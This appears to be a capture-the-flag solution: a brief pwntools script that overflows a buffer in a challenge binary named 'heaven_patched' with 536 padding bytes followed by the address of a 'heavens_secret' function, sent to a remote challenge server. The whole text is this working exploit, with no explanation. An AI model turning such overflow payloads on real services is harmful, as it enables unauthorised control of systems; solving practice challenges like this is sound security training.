Rating:

```
#!/usr/bin/env python3

from pwn import *

e = ELF("./heaven_patched")
#r = process("./heaven_patched")
r = remote("52.59.124.14",10050)
exploit = b"A" * 536 + p64(e.sym.heavens_secret)
r.sendline(exploit)
r.interactive()
```